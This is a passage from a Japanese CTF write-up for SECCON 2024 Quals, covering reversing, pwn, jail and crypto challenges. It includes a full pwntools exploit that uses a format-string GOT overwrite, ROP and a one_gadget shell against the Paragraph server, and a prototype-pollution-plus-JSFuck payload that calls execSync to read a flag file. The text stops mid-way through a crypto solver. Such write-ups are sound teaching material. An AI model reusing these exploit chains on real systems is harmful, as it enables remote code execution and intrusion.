はじめに
SECCON 2024 Quals に参加しました.
全体 51 位,国内 16 位なので,(得意と思っていた Pwn が全然解けなかったものの) 一人にしては良かったのでは思います.
ハイライトは Sage が動かず,ひとつ前の PC で試しても動かず,最終的に二つ前に使っていた PC を引っ張り出したところです.
reversing
packed
author:ptr-yudai
warmup
Packer is one of the most common technique malwares are using.
packed.tar.gz 320fa70af76e54f2b6aec55be4663103d199a4a5
標準入力に与えた FLAG をチェックするバイナリが与えらえる.
└─< ./a.out
FLAG: SECCON{test}
Wrong.
Ghidra でデコンパイルするも全然読めなかったので,BinaryNinja を使う.
void sub_44ed20(void* arg1 @ rbp) __noreturn
{
int64_t rax_2;
int64_t* rsp;
void* rdi_9;
while (true)
{
rdi_9 = *(uint64_t*)rsp;
*(uint64_t*)rsp = 2;
int64_t rdx;
rax_2 = syscall(*(uint64_t*)rsp, rdi_9, 0, rdx);
if (rax_2 >= 0)
break;
*(uint64_t*)rsp = 0xe;
rdx = *(uint64_t*)rsp;
*(uint64_t*)rsp = rdi_9;
int64_t rsi_19 = *(uint64_t*)rsp;
*(uint64_t*)rsp = 2;
int64_t rdi_10 = *(uint64_t*)rsp;
*(uint64_t*)rsp = 1;
syscall(*(uint64_t*)rsp, rdi_10, rsi_19, rdx);
*(uint64_t*)rsp = 0x7f;
int64_t rdi_11 = *(uint64_t*)rsp;
*(uint64_t*)rsp = 0x3c;
int64_t rax_23 = *(uint64_t*)rsp;
rsp = &rsp[1];
syscall(rax_23, rdi_11);
}
*(uint64_t*)rsp = rax_2;
void* rsi_2 = ((char*)rdi_9 + 0x13);
*(uint32_t*)((char*)rdi_9 + 0xf);
*(uint64_t*)((char*)rsp - 8) = rsi_2;
int32_t* rbx = *(uint64_t*)((char*)rsp - 8);
void* rsi_3 = ((char*)rsi_2 + 4);
void* rsi_4 = ((char*)rsi_3 + 4);
uint64_t rax_7 = ((uint64_t)*(uint32_t*)rsi_4);
void* r13_1 = (((uint64_t)*(uint32_t*)rsi_3) + ((char*)rsi_4 + 4));
void* rcx_1 = (((char*)arg1 - 0xb) - ((uint64_t)*(uint32_t*)((char*)arg1 - 0xb)));
int64_t rdi_1 = *(uint64_t*)rsp;
void* rdx_3 = ((((uint64_t)*(uint32_t*)rsi_2) + rbx) - rcx_1);
*(uint64_t*)rsp = rdx_3;
*(uint64_t*)((char*)rsp - 8) = rax_7;
*(uint64_t*)((char*)rsp - 0x10) = rdi_1;
*(uint64_t*)((char*)rsp - 0x18) = rcx_1;
*(uint64_t*)((char*)rsp - 0x20) = 0x22;
int64_t r10 = *(uint64_t*)((char*)rsp - 0x20);
*(uint64_t*)((char*)rsp - 0x20) = rdx_3;
int64_t rsi_6 = *(uint64_t*)((char*)rsp - 0x20);
*(uint64_t*)((char*)rsp - 0x20) = 3;
int64_t rdx_4 = *(uint64_t*)((char*)rsp - 0x20);
void* rsp_15;
*(uint64_t*)rsp_15 = 9;
int64_t rax_9 = syscall(*(uint64_t*)rsp_15, 0, rsi_6, rdx_4, r10, 0xffffffff, 0);
*(uint64_t*)((char*)rsp_15 + 0x18) = rax_9;
*(uint32_t*)((char*)rsp_15 + 0x10);
*(uint64_t*)rsp_15 = 0x12;
*(uint64_t*)rsp_15 = 9;
int64_t rax_11 = syscall(*(uint64_t*)rsp_15, rax_9, ((char*)r13_1 - rcx_1));
int64_t rdx_5 = *(uint64_t*)((char*)rsp_15 + 0x20);
int64_t rcx_2 = *(uint64_t*)((char*)rsp_15 + 8);
*(uint64_t*)((char*)rsp_15 + 8) = rcx_2;
void* rax_12 = (rax_11 - rcx_2);
void* rax_13 = ((char*)rax_12 + arg1);
*(uint64_t*)rsp_15 = rax_13;
void* rax_14 = (rax_13 & 0xfffffffffffff000);
*(uint64_t*)((char*)rsp_15 - 8) = rax_14;
*(uint64_t*)((char*)rsp_15 - 0x10) = ((rdx_5 + rax_11) - rax_14);
void* rsi_9 = &rbx[1];
*(uint64_t*)((char*)rsp_15 - 0x18) = ((uint64_t)*(uint32_t*)rbx);
void* rdx_8 = ((char*)rbx + rax_12);
*(uint64_t*)((char*)rsp_15 - 0x20) = ((uint64_t)*(uint32_t*)rsi_9);
arg1(((char*)rsi_9 + 8), *(uint64_t*)((char*)rsp_15 - 0x20));
*(uint64_t*)((char*)rsp_15 - 0x18);
int64_t rsi_13 = *(uint64_t*)((char*)rsp_15 - 0x10);
int64_t rdi_5 = *(uint64_t*)((char*)rsp_15 - 8);
*(uint64_t*)rsp_15;
*(uint64_t*)rsp_15 = 5;
int64_t rdx_9 = *(uint64_t*)rsp_15;
*(uint64_t*)rsp_15 = 0xa;
syscall(*(uint64_t*)rsp_15, rdi_5, rsi_13, rdx_9);
*(uint64_t*)rsp_15 = rdx_8;
*(uint64_t*)((char*)rsp_15 - 8) = rdx_8;
*(uint64_t*)((char*)rsp_15 - 0x10) = rdx_8;
__builtin_strncpy(((char*)rsp_15 - 0x10), "FLAG: ", 8);
*(uint64_t*)((char*)rsp_15 - 0x18) = ((char*)rsp_15 - 0x10);
int64_t rsi_14 = *(uint64_t*)((char*)rsp_15 - 0x18);
*(uint64_t*)((char*)rsp_15 - 0x18) = 1;
void* rsp_31;
*(uint64_t*)((char*)rsp_31 - 0x10) = 1;
syscall(*(uint64_t*)((char*)rsp_31 - 8), *(uint64_t*)((char*)rsp_31 - 0x10), rsi_14, 6);
*(uint64_t*)((char*)rsp_31 - 8) = rsp_31;
int32_t rax_20 = syscall(sys_read {0}, 0, (*(uint64_t*)((char*)rsp_31 - 8) - 0x80), 0x80);
if (rax_20 != 0x31)
{
__builtin_strcpy(rsp_31, "Wrong.\n");
*(uint64_t*)((char*)rsp_31 - 8) = rsp_31;
int64_t rsi_18 = *(uint64_t*)((char*)rsp_31 - 8);
*(uint64_t*)((char*)rsp_31 - 8) = 1;
*(uint64_t*)((char*)rsp_31 - 0x10) = 1;
int32_t rdi_8 = ((int32_t)*(uint64_t*)((char*)rsp_31 - 0x10));
syscall(*(uint64_t*)((char*)rsp_31 - 8), rdi_8, rsi_18, 7);
syscall(sys_exit {0x3c}, rdi_8);
/* no return */
}
uint64_t rcx_4 = ((uint64_t)rax_20);
*(uint64_t*)rsp_31;
char* rsi_17 = *(uint64_t*)((char*)rsp_31 + 8);
void* rdi_7 = ((char*)rsp_31 - 0x80);
void* temp1_1;
do
{
rax_20 = *(uint8_t*)rsi_17;
rsi_17 = &rsi_17[1];
*(uint8_t*)rdi_7 ^= rax_20;
temp1_1 = rdi_7;
rdi_7 += 1;
rcx_4 -= 1;
} while ((temp1_1 != -1 && rcx_4 != 0));
sub_44ee72();
/* no return */
}
前半は全然わからないが,
int32_t rax_20 = syscall(sys_read {0}, 0, (*(uint64_t*)((char*)rsp_31 - 8) - 0x80), 0x80);
で入力を受け取って,
if (rax_20 != 0x31)
でその長さ (改行文字含む) が 0x31 か調べている.
関数 sub_44ee72
を見てみる.
void sub_44ee72() __noreturn
{
int64_t rcx = 0x31;
void* const __return_addr_1 = __return_addr;
void var_88;
void* rdi = &var_88;
int32_t rdx = 0;
void* temp0_1;
do
{
bool rax = *(uint8_t*)__return_addr_1;
__return_addr_1 += 1;
rdx |= *(uint8_t*)rdi != rax;
temp0_1 = rdi;
rdi += 1;
rcx -= 1;
} while ((temp0_1 != -1 && rcx != 0));
if (rdx != 0)
{
__builtin_strcpy(&arg_8, "Wrong.\n");
syscall(sys_write {1}, 1, &arg_8, 7);
}
else
{
__builtin_strncpy(&arg_8, "OK!\n", 8);
syscall(sys_write {1}, 1, &arg_8, 4);
}
syscall(sys_exit {0x3c}, 1);
/* no return */
}
ここで FLAG の比較が終わっている.が,やっぱり全然わからない.
GDB で追ってみると以下のことがわかる
- 0x44ee34 ~ 0x44ee3a のループで各文字とどっかからとってきた値を XOR している
──────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────── 0x44ee3a ✔ loopne 0x44ee34 <0x44ee34> ↓ 0x44ee34 lodsb al, byte ptr [rsi] 0x44ee35 xor byte ptr [rdi], al [0x7fffffffddcb] => 65 (0x41 ^ 0x0) 0x44ee37 inc rdi RDI => 0x7fffffffddcb 0x44ee3a ✔ loopne 0x44ee34 <0x44ee34> ↓ ► 0x44ee34 lodsb al, byte ptr [rsi] 0x44ee35 xor byte ptr [rdi], al [0x7fffffffddc9] => 11 (0x41 ^ 0x4a) 0x44ee37 inc rdi RDI => 0x7fffffffddca 0x44ee3a ✔ loopne 0x44ee34 <0x44ee34> ↓ 0x44ee34 lodsb al, byte ptr [rsi] 0x44ee35 xor byte ptr [rdi], al [0x7fffffffddca] => 65 (0x41 ^ 0x0)
- 0x44ee82 ~ 0x44ee8d のループで各文字と,どっかからとってきた値を比較している
──────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────── 0x44ee85 setne al 0x44ee88 or dl, al DL => 1 (1 | 1) 0x44ee8a inc rdi RDI => 0x7fffffffddcb 0x44ee8d ✔ loopne 0x44ee82 <0x44ee82> 0x44ee82 lodsb al, byte ptr [rsi] ► 0x44ee83 cmp byte ptr [rdi], al 0x41 - 0x43 EFLAGS => 0x293 [ CF pf AF zf SF IF df of ] 0x44ee85 setne al 0x44ee88 or dl, al DL => 1 (1 | 1) 0x44ee8a inc rdi RDI => 0x7fffffffddcb 0x44ee8d ✔ loopne 0x44ee82 <0x44ee82> ↓ 0x44ee82 lodsb al, byte ptr [rsi]
これを順番に取り出してみると FLAG が得られる.
import gdb
l = 0x30
gdb.execute('start')
gdb.execute('b *0x44ee35')
gdb.execute('b *0x44ee83')
gdb.execute('r <<< $(echo ' + 'A' * l + ')')
xors = []
for _ in range(l + 1):
rax = gdb.parse_and_eval('$rax')
xors.append(rax)
gdb.execute('c')
cmps = []
for _ in range(l + 1):
rax = gdb.parse_and_eval('$rax')
cmps.append(rax)
gdb.execute('c')
flag = ''
for x, c in zip(xors, cmps):
flag += chr(x ^ c)
print(flag)
ちなみに問題名の通りどこかで実行ファイルが unpack されてメモリにマッピングされている (何に使われたのかはわからん)
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x400000 0x450000 r-xp 50000 0 /mnt/c/Users/toha/work/seccon2024/rev/packed/packed/a.out
0x450000 0x4cd000 rw-p 7d000 0 [heap]
0x7ffff7fa9000 0x7ffff7ff7000 rw-p 4e000 0 /mnt/c/Users/toha/work/seccon2024/rev/packed/packed/a.out
0x7ffff7ff7000 0x7ffff7ff9000 r-xp 2000 4e000 /mnt/c/Users/toha/work/seccon2024/rev/packed/packed/a.out
0x7ffff7ff9000 0x7ffff7ffd000 r--p 4000 0 [vvar]
0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 [vdso]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
Jump
author:n01e0
Who would have predicted that ARM would become so popular?
※ We confirmed the binary of Jump accepts multiple flags. The SHA-1 of the correct flag is c69bc9382d04f8f3fbb92341143f2e3590a61a08 We're sorry for your patience and inconvenience
Jump.tar.gz 2040eea8d701ec57a9f38b204b443487e482c5fe
ARM64 のバイナリが与えられる.
└─< file jump
jump: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, stripped
デコンパイルしてみると 8 分割して 4 バイトずつチェックしている感じがする.
8 個の関数のうち,4 つの関数は XOR しているだけなので,見てみると FLAG の一部っぽいことがわかる.
void sub_400648(int32_t arg1)
{
int64_t x30;
int64_t var_8 = x30;
*var_8[4] = arg1;
data_412030 = (data_412030 & 1 & ((*var_8[4] ^ 0xcafebabe) == 0xf9958ed6 ? 1 : 0) ? 1 : 0) & 1;
}
// >> h4k3
void sub_4006ac(int32_t arg1)
{
int64_t x30;
int64_t var_8 = x30;
*var_8[4] = arg1;
data_412030 = (data_412030 & 1 & ((*var_8[4] ^ 0xc0ffee) == 0x5fb4ceb1 ? 1 : 0) ? 1 : 0) & 1;
}
// >> _1t_
void sub_400710(int32_t arg1)
{
int64_t x30;
int64_t var_8 = x30;
*var_8[4] = arg1;
data_412030 = (data_412030 & 1 & ((*var_8[4] ^ 0xdeadbeef) == 0xebd6f0a0 ? 1 : 0) ? 1 : 0) & 1;
}
// >> ON{5
void sub_400774(int32_t* arg1)
{
data_412030 = (data_412030 & 1 & (*(arg1 + data_412038) + *(arg1 + data_412038 - 4) == 0x9d9d6295 ? 1 : 0) ? 1 : 0) & 1;
}
void sub_4007fc(int32_t* arg1)
{
data_412030 = (data_412030 & 1 & (*(arg1 + data_412038) + *(arg1 + data_412038 - 4) == 0x94d3a1d4 ? 1 : 0) ? 1 : 0) & 1;
}
void sub_400884(int32_t* arg1)
{
data_412030 = (data_412030 & 1 & (*(arg1 + data_412038) - *(arg1 + data_412038 - 4) == 0x47cb363b ? 1 : 0) ? 1 : 0) & 1;
}
void sub_40090c(int32_t arg1)
{
int64_t x30;
int64_t var_8 = x30;
*var_8[4] = arg1;
data_412030 = (data_412030 & 1 & (*var_8[4] == 0x43434553 ? 1 : 0) ? 1 : 0) & 1;
}
// >> SECC
void sub_400964(int32_t* arg1)
{
data_412030 = (data_412030 & 1 & (*(arg1 + data_412038) + *(arg1 + data_412038 - 4) == 0x9d949ddd ? 1 : 0) ? 1 : 0) & 1;
}
残りの関数ではその直前の 4 文字との和 (一つだけ差) をとって,ハードコーディングされた値と比較している.
デコンパイル結果からはいまいち順番がわからなかったので,適当に試してみて,あとは読めるように適当に並び替える.
vs = [
0xcafebabe ^ 0xf9958ed6,
0xc0ffee ^ 0x5fb4ceb1,
0xdeadbeef ^ 0xebd6f0a0,
0x43434553,
]
vs.append(0x94d3a1d4 - vs[1])
vs.append(0x9d949ddd - vs[-1])
vs.append(0x9d9d6295 - vs[-1])
vs.append(0x47cb363b + vs[-1])
ds = [
# 0x9d9d6295,
# 0x94d3a1d4,
0x47cb363b,
# 0x9d949ddd,
]
bs = [v.to_bytes(4, 'little') for v in vs]
print(bs)
# for d in ds:
# # print(((d - vs[0]) % 0xffffffff).to_bytes(4, 'little'))
# # print(((d - vs[1]) % 0xffffffff).to_bytes(4, 'little'))
# # print(((d - vs[2]) % 0xffffffff).to_bytes(4, 'little'))
# for i in range(len(vs)):
# print(((d + vs[i]) % 0xffffffff).to_bytes(4, 'little'))
flag = bs[3] + bs[2] + bs[0] + bs[1] + bs[4] + bs[5] + bs[6] + bs[7]
print(flag)
pwnable
Paragraph
author:ptr-yudai
warmup
A black cat is asking your name.
nc paragraph.seccon.games 5000
Paragraph.tar.gz aa6126fc98c19cf985f7615bb2893ab98aa63461
Canary なし,PIE もなし,GOT も書き換え可能.
[*] Binary: chall
[*] Libc: libc.so.6
[*] Loader: ld-linux-x86-64.so.2
[*] file ./chall
Type: ELF 64-bit LSB executable
Arch: x86-64
Linking: dynamically linked
Symbol: not stripped
Debug info: No
[*] checksec ./chall
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] Patch ELF: patchelf --set-interpreter debug/ld-linux-x86-64.so.2 --set-rpath ./debug debug/chall
[*] spwn completed
非常にシンプルなコード
#include <stdio.h>
int main() {
char name[24];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("\"What is your name?\", the black cat asked.\n");
scanf("%23s", name);
printf(name);
printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);
return 0;
}
変数 name
に入力が格納され,
printf(name);
があるので,書式文字列攻撃ができる.
No PIE なので,バイナリのアドレスがわかるため,GOT の書き換えが考えられるが,libc のベースアドレスを知らない + 24 文字しか入力できないため書式文字列を使っても一部の値しか書き換えられないので Partial Overwrite の方向で考える.
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /mnt/c/Users/toha/work/seccon2024/pwn/paragraph/Paragraph/debug/chall:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e32bd0 (puts) ◂— endbr64
[0x404020] setbuf@GLIBC_2.2.5 -> 0x7ffff7e3a740 (setbuf) ◂— endbr64
[0x404028] printf@GLIBC_2.2.5 -> 0x401050 ◂— endbr64
[0x404030] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7e0ae00 (__isoc99_scanf) ◂— endbr64
GOT Overwrite の対象は書き換え後に呼び出される printf
関数
└─< readelf -s -W /lib/x86_64-linux-gnu/libc.so.6 | grep " printf@"
2611: 00000000000600f0 204 FUNC GLOBAL DEFAULT 17 printf@@GLIBC_2.2.5
ここを One gadget に置き換えられればよさそうとなったが,レジスタの状態が条件を満たすものがなく断念.
└─< one_gadget ./libc.so.6
0x583dc posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, rip+0x17302e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0x583e3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, rip+0x17302e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
printf
付近で使えそうなものを探す.
└─< nm -n -D libc.so.6
(snip...)
0000000000060000 T __isoc99_vfscanf@@GLIBC_2.7
0000000000060010 T __isoc99_vscanf@@GLIBC_2.7
0000000000060040 T __isoc99_vsscanf@@GLIBC_2.7
00000000000600f0 T _IO_printf@@GLIBC_2.2.5
00000000000600f0 T printf@@GLIBC_2.2.5
00000000000601c0 T parse_printf_format@@GLIBC_2.2.5
0000000000063580 T __printf_fp@@GLIBC_2.2.5
0000000000064840 T printf_size@@GLIBC_2.2.5
0000000000065450 T printf_size_info@@GLIBC_2.2.5
0000000000065470 T psiginfo@@GLIBC_2.10
00000000000659a0 T psignal@@GLIBC_2.2.5
0000000000065b00 T putw@@GLIBC_2.2.5
0000000000065b30 W register_printf_modifier@@GLIBC_2.10
0000000000065ea0 W register_printf_specifier@@GLIBC_2.10
0000000000065f90 W register_printf_function@@GLIBC_2.2.5
0000000000066080 W register_printf_type@@GLIBC_2.10
0000000000066170 T remove@@GLIBC_2.2.5
00000000000661c0 T rename@@GLIBC_2.2.5
00000000000661f0 W renameat@@GLIBC_2.4
0000000000066230 W renameat2@@GLIBC_2.28
0000000000066290 T scanf@@GLIBC_2.2.5
0000000000066360 W snprintf@@GLIBC_2.2.5
0000000000066410 T _IO_sprintf@@GLIBC_2.2.5
0000000000066410 T sprintf@@GLIBC_2.2.5
00000000000664d0 T _IO_sscanf@@GLIBC_2.2.5
00000000000664d0 T sscanf@@GLIBC_2.2.5
00000000000665f0 T tempnam@@GLIBC_2.2.5
0000000000066be0 T tmpfile@@GLIBC_2.2.5
0000000000066be0 W tmpfile64@@GLIBC_2.2.5
0000000000066cb0 T tmpnam@@GLIBC_2.2.5
0000000000066d60 T tmpnam_r@@GLIBC_2.2.5
0000000000066e50 T _IO_vfprintf@@GLIBC_2.2.5
0000000000066e50 T vfprintf@@GLIBC_2.2.5
000000000006b7a0 T __vfscanf@@GLIBC_2.2.5
000000000006b7a0 W vfscanf@@GLIBC_2.2.5
(snip...)
scanf
があるので,これを使えば
scanf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);
となって,name
に文字数の制限なく入れられそう.ここでは name
に文字数の制限なく入れられるなら Canary が無いため ROP ができる.
とにかく libc のベースアドレスがわからないと何もできないので,まずは GOT から libc のベースアドレスをリークする.そのまま ROP で続きを読み込みたかったが,バイナリ上の "%23s"
とかを使おうとすると \x20
がペイロードに含まれることになり scanf
では読み込めないので,ret2main してもう一度 ROP (ここでは One gadget を呼び出すだけ) する.
from pwn import *
binary_name = 'debug/chall'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
loader = ELF('ld-linux-x86-64.so.2', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'
conv = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc = lambda *x, **y: io.recv(*conv(*x), **y)
ru = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: io.recvall(*conv(*x), **y)
sn = lambda *x, **y: io.send(*conv(*x), **y)
sl = lambda *x, **y: io.sendline(*conv(*x), **y)
sa = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo = lambda *x, **y: log.info(' '.join(x), **y)
interact = lambda *x, **y: io.interactive(*x, **y)
try:
HOST_NAME, PORT = 'paragraph.seccon.games 5000'.split()
except:
log.failure('Host name and port are not set')
gdb_script = '''
b *0x0000000000401217
c
'''
def calc_hn(objective_value, sum_bytes):
r = objective_value - sum_bytes
while r < 0:
r += 0x10000
return r, r + sum_bytes
scanf_lsb = 0xae00
addr_plt_puts = 0x401070
addr_got_printf = 0x404028
addr_got_puts = 0x404018
addr_pop_rdi = 0x00401283
addr_pop_rsi_r15 = 0x00401281
addr_writable = 0x404000 + 0x200
while True:
try:
if args.REMOTE:
io = remote(HOST_NAME, PORT)
elif args.LOCAL:
io = remote('localhost', PORT)
elif args.GDB:
io = gdb.debug(f'./{binary_name}', gdb_script, aslr=False)
else:
io = process(f'./{binary_name}')
payload = b''
payload_bytes, sum_bytes = calc_hn(scanf_lsb, len(payload))
payload += f'%{payload_bytes}x'.encode()
payload += f'%8$hn'.encode()
payload += b'\x00' * (0x10 - len(payload))
payload += p64(addr_got_printf)
# print(len(payload))
sla('cat asked.\n', payload[:23])
rc(100)
pause()
payload = b' answered, a bit confused. "Welcome to SECCON," the cat greeted '
payload += b'A' * 0x20
payload += p64(addr_writable + 8)
## leak libc addresss
## puts(got_puts);
payload += p64(addr_pop_rdi)
payload += p64(addr_got_puts)
payload += p64(addr_plt_puts)
## ret2main
payload += p64(addr_pop_rsi_r15)
payload += p64(addr_writable + 0x10)
payload += p64(0)
payload += p64(0x00000000004011dd)
payload += b' a'
sl(payload)
ru(b'\xd0')
libc_base = int.from_bytes(b'\xd0' + rc(5), 'little') - 0x87bd0
loginfo(f'libc base: {hex(libc_base)}')
addr_one_gadget = libc_base + 0xef52b
pause()
payload = b''
payload = b' answered, a bit confused. "Welcome to SECCON," the cat greeted '
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(addr_writable + 0x200) ## saved rbp
payload += p64(addr_one_gadget) ## return address
payload += b' a'
sl(payload)
interact()
except Exception as e:
print(e)
else:
break
finally:
io.close()
if args.GDB:
break
jail
pp4
author:Ark
warmup
Let's enjoy the polluted programming💥
nc pp4.seccon.games 5000
pp4.tar.gz 5efe669fba98d1d52413679cbf955de8da616322
前半で Prototype Pollution ができて,後半で 4 種類以下の文字に対する eval
があり JSFuck する問題.
JSFuck は 6 文字以上じゃないと自由に動けない (|>
が使えるなら 5 文字でもいけるらしい (5文字で書くJavaScript/ Shibuya.XSS techtalk #10) が今回は使えない) ので,Prototype Pollution でどうにかしないといけない.
4 文字しか使えないので関数呼び出しと,起点が必要になることを考えると
(
)
[
]
の 4 文字で考える.
そもそも JSFuck で使われる
[][[]]
は オブジェクト []
のプロパティ []
へアクセスしている.
ブラケット表記法では強制的に文字列に変換されるため,
[].toString()
// >>> ''
なので,
[][[]]
は
[]['']
と等しくなる.
オブジェクト []
はプロパティ ''
を持たないので,undefined
が返される.
また,関数を呼び出す方法として
[]["filter"]["constructor"]("return eval")()( CODE )
が知られている.
これは
[]["filter"]
// >>> [Function: filter]
でオブジェクト []
の持つメソッド filter
を呼び出して,
[]["filter"]["constructor"]
// >>> [Function: Function]
で関数のコンストラクタを呼び出している.
関数のコンストラクタが得られれば,ここに関数の中身となるコードを文字列として与えることで関数が作成できる.
[]["filter"]["constructor"]("return eval")
// >>> [Function: anonymous]
で eval
を返すような関数を作成して
[]["filter"]["constructor"]("return eval")()
// >>> [Function: eval]
で呼び出している.
これで CODE
の部分にコードとなる任意の文字列を与えて実行することが可能になる.
これを今回もしたいが,そもそも文字列を作成するような JSFuck を入力することが困難なので Prototype Pollution を利用する.
オブジェクトの key と value が
'' -> 'a'
'a' -> 'b'
'b' -> 'c'
'c' -> 'd'
...
となるようにすれば任意の文字列を呼び出すことができる.
ただし,filter
と constructor
に関してはオブジェクトが元から持っているメソッドのため Prototype Pollution で上書きできない.
console.log([]['filter'])
// >>> [Function: filter]
console.log([]['constructor'])
// >>> [Function: Array]
片方は終端にすれば良いが一つしか使えない.
そもそも
[]["filter"]
は関数のコンストラクタを呼び出すための適当な関数なので,オブジェクトのコンストラクタ
[]["constructor"]
でも問題ない.
よって,
[]["constructor"]["constructor"]("return eval")()("process.mainModule.require('child_process').execSync('ls -la').toString()")
の実行を目標にする.
from pwn import *
import json
cmd = 'ls /'
cmd = 'cat /flag-1863aa693df962ff8433c6b227d63dc0.txt'
chain = {
f"process.mainModule.require('child_process').execSync('{cmd}').toString()": 'constructor',
'': 'return eval',
'return eval': f"process.mainModule.require('child_process').execSync('{cmd}').toString()"
}
payload = {'__proto__': chain}
payload = json.dumps(payload)
io = remote('pp4.seccon.games', '5000')
print(payload)
io.sendlineafter(b'Input JSON: ', payload.encode())
jf = {
'cs': '[][[][[][[]]]]',
're': '[][[]]',
'cm': '[][[][[]]]'
}
payload = f"([])[{jf['cs']}][{jf['cs']}]({jf['re']})()({jf['cm']})"
print(payload)
io.sendlineafter(b'Input code: ', payload.encode())
print(io.recvall().decode())
crypto
reiwa_rot13
author:kurenaif
warmup
Reiwa is latest era name in Japanese(from 2019). it's latest rot13 challenge!
note: Please submit the flag as it is.
reiwa_rot13.tar.gz df5d67f9b4353e3871470362d9871253b8e6e226
FLAG を暗号化している key ($\mathbb{k}$) と key を ROT13 で変換した rot13_key ($\mathbb{r}$) が RSA で暗号化されている.
key は小文字アルファベット 10 文字からなり,
\mathbb{k} = k_0 + k_1 256 + k_2 256^2 + \cdots + k_9 256^9 \quad (97 \le k_i < 97 + 26)
と書ける.
ここで,$k'_i = k_i - 97$ とすると
\mathbb{k} = k'_0 + k'_1 256 + k'_2 256^2 + \cdots + k'_9 256^9 + 97 (1 + 256 + \cdots + 256^9)
となる.($0 \le k'_i < 26$)
同様に rot13_key $\mathbb{r}$ を
\mathbb{r} = r'_0 + r'_1 256 + r'_2 256^2 + \cdots + r'_9 256^9 + 97 (1 + 256 + \cdots + 256^9)
とすると
r'_i = k'_i + 13 + 26 l_i \quad (l_i \in \{0, -1\})
を満たす.
$\mathbb{k}$ と $\mathbb{r}$ の差 $d$ について考えると
d = \mathbb{k} - \mathbb{r} = 13 (1 + 256 + \cdots + 256^9) + 26 (l_0 + l_1 256 + \cdots + l_9 256^9)
で,全部で 1024 通りしかない.
RSA で平文の差がわかっていれば多項式の最大公約数を求めれば良い (Related Message Attack)
from Crypto.Util.number import *
import hashlib
from Crypto.Cipher import AES
from tqdm import tqdm
def pdivmod(u, v):
"""
polynomial version of divmod
"""
q = u // v
r = u - q*v
return (q, r)
def hgcd(u, v, min_degree=10):
"""
Calculate Half-GCD of (u, v)
f and g are univariate polynomial
http://web.cs.iastate.edu/~cs577/handouts/polydivide.pdf
"""
x = u.parent().gen()
if u.degree() < v.degree():
u, v = v, u
if 2*v.degree() < u.degree() or u.degree() < min_degree:
q = u // v
return matrix([[1, -q], [0, 1]])
m = u.degree() // 2
b0, c0 = pdivmod(u, x^m)
b1, c1 = pdivmod(v, x^m)
R = hgcd(b0, b1)
DE = R * matrix([[u], [v]])
d, e = DE[0,0], DE[1,0]
q, f = pdivmod(d, e)
g0 = e // x^(m//2)
g1 = f // x^(m//2)
S = hgcd(g0, g1)
return S * matrix([[0, 1], [1, -q]]) * R
def pgcd(u, v):
"""
fast implementation of polynomial GCD
using hgcd
"""
if u.degree() < v.degree():
u, v = v, u
if v == 0:
return u
if u % v == 0:
return v
if u.degree() < 10:
while v != 0:
u, v = v, u % v
return u
R = hgcd(u, v)
B = R * matrix([[u], [v]])
b0, b1 = B[0,0], B[1,0]
r = b0 % b1
if r == 0:
return b1
return pgcd(b1, r)
n = 105270965659728963158005445847489568338624133794432049687688451306125971661031124713900002127418051522303660944175125387034394970179832138699578691141567745433869339567075081508781037210053642143165403433797282755555668756795483577896703080883972479419729546081868838801222887486792028810888791562604036658927
e = 137
c1 = 16725879353360743225730316963034204726319861040005120594887234855326369831320755783193769090051590949825166249781272646922803585636193915974651774390260491016720214140633640783231543045598365485211028668510203305809438787364463227009966174262553328694926283315238194084123468757122106412580182773221207234679
c2 = 54707765286024193032187360617061494734604811486186903189763791054142827180860557148652470696909890077875431762633703093692649645204708548602818564932535214931099060428833400560189627416590019522535730804324469881327808667775412214400027813470331712844449900828912439270590227229668374597433444897899112329233
